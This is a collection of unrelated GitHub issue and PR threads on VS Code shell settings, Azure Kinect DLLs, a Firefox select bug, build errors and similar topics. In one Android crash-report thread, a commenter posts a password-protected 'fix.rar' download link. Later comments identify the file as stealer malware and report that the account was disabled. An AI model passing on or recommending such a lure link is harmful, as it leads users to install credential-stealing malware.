Shell information no longer returned in settings

VSCode Version: Version 1.35.0-insider (1.35.0-insider) 2019-05-23T05:07:54.582Z
OS Version: Mac

Steps to Reproduce:

Use extension code to get the path to the shell, from the setting terminal.integrated.shell.<platform>, and you'll see the return value is null

Does this issue occur when all extensions are disabled?: Yes/No
Yes
Note: This works in Stable version of VS Code.

Operating System: Mac
Works in Stable
Does not work in Insiders

Version 1.34.0 (1.34.0)

Version 1.35.0-insider (1.35.0-insider) 2019-05-23T05:07:54.582Z

@Tyriar Hope this will be fixed in the current release, as this will break the Python extension in a number of places.

This change was made due to this issue that came out of remote that was reported quite a lot: https://github.com/microsoft/vscode-remote-release/issues/38
The problem here is that evaluating the setting locally meant that was passed over to the remote side and it would break as a result. Consider an Ubuntu box where $SHELL=/bin/zsh (terminal.integrated.shell.linux is derived from this) using Remote - Containers on a docker container, the terminal would exit immediately as zsh isn't installed.
While thinking about whether I can revert back and still fix the remote bug I'm not so sure I can, the reason being that then extensions like vscode-python would fail for the same reason in the remote case. I think the right thing to do here is for the python extension to have its own default shell behavior, whether that be copying how VS Code does it or defaulting to cmd/$SHELL it's up to you, I don't think it's super important for it to match exactly if the default is being used.

We're happy to go ahead and use the code u suggested, the one used in VS Code.
However, we'll most certainly need some kind of API from VS Code to get this value going forward. The reason is simple, if VS Code was to make some changes to this area (changes in logic), then our code could break.
This is because we need to know the shell being used by VS Code so we can send shell specific commands. If VS Code is using bash and we end up assuming that vscode is using zsh, then things break.

@DonJayamanne so you interact with terminals other than ones you create via createTerminal?

so you interact with terminals other than ones you create via createTerminal

Yes (we interact with terminal user have created).
We assume the terminal they have opened is using the default shell.

@DonJayamanne you could try using Terminal.name for the terminal you're sending it to instead? This will be the name of what's running within the terminal with the directory removed (and the extension cut off for Windows). This might even be better as you will be able to detect sub-shells, for example:
Windows running cmd.exe: cmd
Windows running powershell: powershell
Windows running powershell core pwsh
Linux running bash bash
Linux running git inside bash git
Linux running python inside bash python

Yes, that would work, however we won't be able to detect the shell when a terminal is opened by vsc for debugging or similar (e.g. when VSC opens a terminal for debugging the name is Python Debug Console or similar).

@DonJayamanne for that case it doesn't matter much imo if you end up differing from VS Code, can't you just have a default that you use?

Closing as I think we agreed to fix this in vscode-python

For any extensions hitting this issue, the recommendation is to set your own default when the setting is null. The simplest fix would be to fallback to cmd.exe on Windows and bash on Linux/macOS.


body track v1.1.0 inconsistent REDIST.txt, files in bin directory, and needed files documentation

At least three files appear inconsistent with respect to their presence (or not) in

sdk\windows-desktop\amd64\release\bin
REDIST.txt
https://docs.microsoft.com/en-us/azure/kinect-dk/troubleshooting#required-dlls-for-onnx-runtime-execution-environments

I have so far identified the following. There may be more needed to be removed or added
myelin64_1.dll
nvinfer.dll
nvinfer_plugin.dll

Setup
Body Tracking v1.1.0
Repro
Investigate the three files at the above three locations
myelin64_1.dll
nvinfer.dll
nvinfer_plugin.dll

Result

are not present in REDIST.txt
are present in sdk\windows-desktop\amd64\release\bin
are present in https://docs.microsoft.com/en-us/azure/kinect-dk/troubleshooting#required-dlls-for-onnx-runtime-execution-environments and suggests they are distributed via TensorRT 7.2.1

Expected
To be not present in sdk\windows-desktop\amd64\release\bin since they are not listed in REDIST.txt.
Or to keep them in bin and list them in REDIST.txt
Or some other consistent intention that complies with both Microsoft and NVIDIA distribution licensing rules.

Fixed

@qm13, Fixed in what version? For customers to verify unseeable code changes, we need to know the exact version in which is was potentially fixed so that customers can verify, escalate non-fix, etc.

In addition... REGRESSION caused by @qm13 by commit https://github.com/MicrosoftDocs/azure-docs/commit/c8ba1e38cc2c72c3a9ae5ba80f93ad54313ab985
Docs at https://docs.microsoft.com/en-us/azure/kinect-dk/body-sdk-setup have lost the file requirements for Body Tracking SDK v1.1.0
Customers are use solutions with Body Tracking v1.1.0. Documentation must continue for v1.1.0.
Just because Microsoft publishes a new SDK, that does not automagically upgrade and install customer solutions around the world. 😉
Customers buy and used fixed single version solutions, and providers sell them to customers. Providers use tools like Body Tracking SDK over years of time and therefore sale and support multiple provider produces using multiple versions of Body Tracking SDK.


Select does't change value on option tag click (Firefox)

React: 16.6.0
@material/react-select: 0.7.0
Browser: Firefox 63.0.3 (64 bit)
OS: Ubuntu 18.04
userAgent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0
<Select> is not changing value on <option> click (event handler is getting old value). Value can be changed only using arrow keys. Exception occurs only on Firefox. On Chrome 70 and IE 11 works fine.

A few things are happening:

mousedown event does not bubble from child  elements to parent  element in Chrome. This does however, happen in Firefox.
Firefox mousedown event is triggering NativeControl.setRippleCenter, which shouldn't be called when an  is selected.

Unanswered Questions:

why does  NativeControl.props.setRippleCenter() change the value emitted by onChange event.

I'm thinking it might be a React bug

We're going to review the PR fix and do a patch release when its ready. Thanks for filing this issue!

Released with v0.7.1! @Rudellandy

Great! Thanks ;)


Fix parsing issue for errors.

I'm so sorry to cause a bug on #16. 😭
If build reports have errors value, it's failed to parse the reports.
So I fixed this and I added spec and fixture.
Please review 🙏

Please rerun the CI job. It would be fixed.

I think you need to run bundle install (or update) to change the lock file. Or just revert the version bump and @diogot will do it 💯

I reverted 🙇

Thanks!


Bug 2059669: Delete manifestwork for application namespace

Changes:

Update open-cluster-management to version v0.13.0
Delete namespace manifestwork for applications
Unit test changes to verify deletion of namespace manifestwork

The changeset includes a new DeleteNamespaceManifestWork() func to delete the manifestwork for namespace. It first checks if the mw.Spec has delete option or if it already has a DeletionTimestamp. Accordingly, it proceeds to delete the
namespace manifestwork.
Also introduces updating of the namespace manifestwork with the deleteOption and propogationPolicy of type orphan, whenever the createOrUpdateNamespaceManifest() func is called.
Fixes: Bug 2059669

/bugzilla refresh


Fix Weapons_IsEmpty

I've noticed that FreeCS bots didn't switch to knife when they where out of
ammo, after investigating I found that the int w argument of
Weapons_IsEmpty was ignored and instead the activeweapon of the player was
used. So when Weapons_SwitchBest checks if the knife is empty it would return
TRUE because it wasn't really checking on the knife but on the player it's
activeweapon.
I think it is leftover from testing/debugging? (https://github.com/VeraVisions/nuclide/commit/c5cea7a1620a00aed0a87c0854da5cde441d0cc6)

Sorry for not replying sooner. Thank you very much for the PR!
This one has been fixed.


CASESENSETIVE result in Guess The Word

🐛 Bug Report
In GUESS THE WORD project(Project-Guidance\Desktop Application\Basic\Python\Guess The Word) the output is showing "You are wrong" everytime (except when answer is given all in lowercase). I would love to fix this bug as my first open-source contribution.
Have you read the Contributing Guidelines ?
(Yes)

I was already working on this issue @Kushal997-das

I am sorry I know you are a beginner as well but I too am a beginner and I hardly can find issues in any projects. People have all taken up easy issues. I am sorry for doing this but maybe you can work on this?
https://github.com/Kushal997-das/Project-Guidance/tree/main/Desktop Application/Basic/Python/Story-Generator

no bro...no need to be sorry i should have seen first and thnx for the suggestion


Add a pyp5js kernel backed by pyodide

First steps towards #50 and #5.
TODO

[x] Load pyodide
[x] Handle basic python code (code evaluation, stdout / stderr)
[ ] Add the pyp5js layer to setup the canvas
[ ] Make kernel selection more generic (while keeping kernel specs hard-coded for now)
[ ] Define a common interface for the two kernels. Most of the message handling can be shared, while keeping the "interpreter" specific to the kernel
[ ] Layout a plan for a better integration with other custom kernels (for example as plugins)

Progress:

Closing as this can be done by reusing the upstream Pyodide based kernel, as a follow-up to #72


Styles don't build well on nuxt.

While developing and serving the files, the loader works as intended as shown below

The problem comes up when you build the application for production. The CSS for the module refuses to load or build correctly as shown below.

Closing due to inactivity, feel free to re-open.


Merge Victor's System F test branch into Guillaume's incorrectnessExec branch

This merges @VictorCMiraldo's changes into the incorrectnessExec branch, stopping those from drifting away.
It also updates the test introduced in the incorrectnessExec branch to use the new quasi-quoter.

@VictorCMiraldo I've been discussing the changes with @GuillaumeGen and there's a remaining doubt about what should be the right code in Monomorphization, function specFunApp (around line 180). The code reads:
-    tyArgs = mapMaybe fromTyArg args
-    splitArgs 0 args = ([], args)
-    splitArgs n (TyArg tyArg : args) = first (tyArg :) $ splitArgs (n - 1) args
-    splitArgs n (arg : args) = second (arg :) $ splitArgs n args
-    splitArgs _ [] = error "Less args than poly args count"
+    tyArgs = mapMaybe SystF.fromTyArg args
+    hofPolyVarsCount = 1 -- TODO don't hardcode 1

so the code seems to stop at 1 variable. Is this correct?

Yes, for now we're only monomorphizing the first type variable which should be generalized; but I think we should tackle that as a separate PR

Closing because this has become the dev branch.


lateinit property initFilter has not been initialized

Hi,
Here the stack trace I just got:
android version: 34
app version: 1.20
K1.h: lateinit property initFilter has not been initialized
 at i2.r.G(Unknown Source:1341)
 at e0.U.f(Unknown Source:298)
 at e0.U.k(Unknown Source:146)
 at e0.N.N(Unknown Source:61)
 at e0.N.t(Unknown Source:35)
 at h.i.D(Unknown Source:33)
 at h.i.onStart(Unknown Source:0)
 at android.app.Instrumentation.callActivityOnStart(Instrumentation.java:1582)
 at android.app.Activity.performStart(Activity.java:9008)
 at android.app.ActivityThread.handleStartActivity(ActivityThread.java:4198)
 at android.app.servertransaction.TransactionExecutor.performLifecycleSequence(TransactionExecutor.java:225)
 at android.app.servertransaction.TransactionExecutor.cycleToPath(TransactionExecutor.java:205)
 at android.app.servertransaction.TransactionExecutor.executeLifecycleState(TransactionExecutor.java:177)
 at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:98)
 at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2685)
 at android.os.Handler.dispatchMessage(Handler.java:106)
 at android.os.Looper.loopOnce(Looper.java:230)
 at android.os.Looper.loop(Looper.java:319)
 at android.app.ActivityThread.main(ActivityThread.java:8919)
 at java.lang.reflect.Method.invoke(Native Method)
 at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:578)
 at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1103)

I think it happened during the rotation of my phone.
Best Regards

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

@JEAYNE Ah, same issue as https://github.com/aj3423/SpamBlocker/issues/114, I'm upgrading the UI library, it will be fixed then.
@Aadya1603 What is this?

I have the reply to your question "What is this ?"
@Aadya1603 will not reply. His account is disabled...
After my post here I received two e-mails from Github:

The first one received at 4:53pm is from  Aadya Madankar. His github account @Aadya1603 is no more valid.
The second at 4:58pm is your reply to my post with your question to Aadya
Acording to any.run the link in the post from Aadya is a malware (Stealer)
https://any.run/report/4bb449ede4be82a8ccd999389fb4a90c46d283a6aca7c9e0389d27a783f84d7d/8770ac14-dc4e-417b-b57d-83d611ff868a
According to google this link has been posted in at least two other projects:

I see, maybe that bot is monitoring new posts on GitHub.


epochs and how many iterations

Hello, senior Huang, how many epochs and how many iterations did you train in this work?

Hi, there 👋
I think the same question has been asked in another work, so I copied the answer:
In this work, there is no limit on the number of training epochs. However, GAN-based models have the risk of model collapse, I discourage a lot of training sessions. According to my experiments, the earlier experiments showed better results.


Updates default_fanout_load for the standard cell library

Fixes The-OpenROAD-Project/OpenROAD#2339

[x] Tests pass
[x] Appropriate changes to README are included in PR

LGTM!

Original PR with more discussion https://github.com/google/globalfoundries-pdk-libs-gf180mcu_fd_sc_mcu7t5v0/pull/22


Cannot open include file: 'ares. h'

Win10
https://github.com/drogonframework/drogon/wiki/ENG-02-Installation#install-by-source-in-windows
The step "Compile and install".
running cmake --build . --parallel --target install and i get
C:\drogon\drogon\trantor\trantor\net\inner\AresResolver.cc(10,10): fatal  error C1083: Cannot open include file: 'ares. h': No such file or directory [C:\drogon\drogon\build\trantor\trantor.vcxproj]

Just interesting, what package manager are you using to build trantor (conan or vcpkg). I use vcpkg, everything work fine. c-ares installed as :
vcpkg.exe install c-ares:x64-windows
I tried installation with conan, but it does not work. Finally after all troubles conan installed uncompatible PostgreSQL library (version 15.2 or 14.5 is available now) - it has LDAP support and require many manual work to link LDAP library. vspkg version install everything without problem. I recommend vcpkg now until conan or people from PostgreSQL fix glib package.
Also pay attention, if you install conan and vcpkg in the same time, you will get troubles that impossible solve, both packages conflict one each other and wrongly detect installed libraries and headers. Use one and delete other.